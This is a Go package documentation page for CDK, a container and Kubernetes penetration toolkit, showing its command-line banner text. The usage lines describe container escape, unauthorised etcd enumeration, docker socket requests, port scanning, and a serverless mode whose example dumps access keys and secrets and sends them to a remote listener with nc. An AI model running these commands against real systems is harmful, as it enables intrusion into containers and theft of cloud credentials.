Documentation ¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
View Source
var Args docopt.Opts
View Source
var BannerContainer = fmt.Sprintf( BannerContainerTpl, "Usage:", util.GreenBold.Sprint("Evaluate:"), util.GreenBold.Sprint("Exploit:"), util.GreenBold.Sprint("Tool:"), "Options:", )
BannerContainer is the banner of CDK command line with colorful.
View Source
var BannerContainerTpl = BannerHeader + `
%s
cdk evaluate [--full]
cdk eva [--full]
cdk run (--list | <exploit> [<args>...])
cdk auto-escape <cmd>
cdk <tool> [<args>...]
%s
cdk evaluate Gather information to find weakness inside container.
cdk eva Alias of "cdk evaluate".
cdk evaluate --full Enable file scan during information gathering.
%s
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
cdk auto-escape <cmd> Escape container in different ways then let target execute <cmd>.
%s
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
netstat Like "netstat -antup" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> [<data>] Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
%s
-h --help Show this help msg.
-v --version Show version.
`
View Source
var BannerHeader = fmt.Sprintf(`%s %s Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/ `, util.GreenBold.Sprint(BannerTitle), BannerVersion)
View Source
var BannerServerless = BannerHeader + `
THIS IS THE SLIM VERSION FOR DUMPING SECRET/AK IN SERVERLESS FUNCTIONS.
sessions in serverless functions will be killed in seconds, use this tool to dump AK/secrets in the fast way.
Usage:
cdk-serverless <scan-dir> <remote-ip> <port>
Args:
scan-dir Read all files under target dir and dump AK token.
remote-ip,port Send results to target IP:PORT via TCP tunnel.
Example:
1. public server(e.g. 1.2.3.4) start listen tcp port 999 using "nc -lvp 999"
2. inside serverless function service execute "./cdk-serverless /code 1.2.3.4 999"
`
View Source
var BannerTitle = `CDK (Container DucK)`
View Source
var BannerVersion = fmt.Sprintf("%s %s", "CDK Version(GitCommit):", GitCommit)
View Source
var GitCommit string
Functions ¶
func ParseCDKMain ¶
func ParseCDKMain() bool
func PassInnerArgs ¶
func PassInnerArgs()
Types ¶
This section is empty.
Click to show internal directories.
Click to hide internal directories.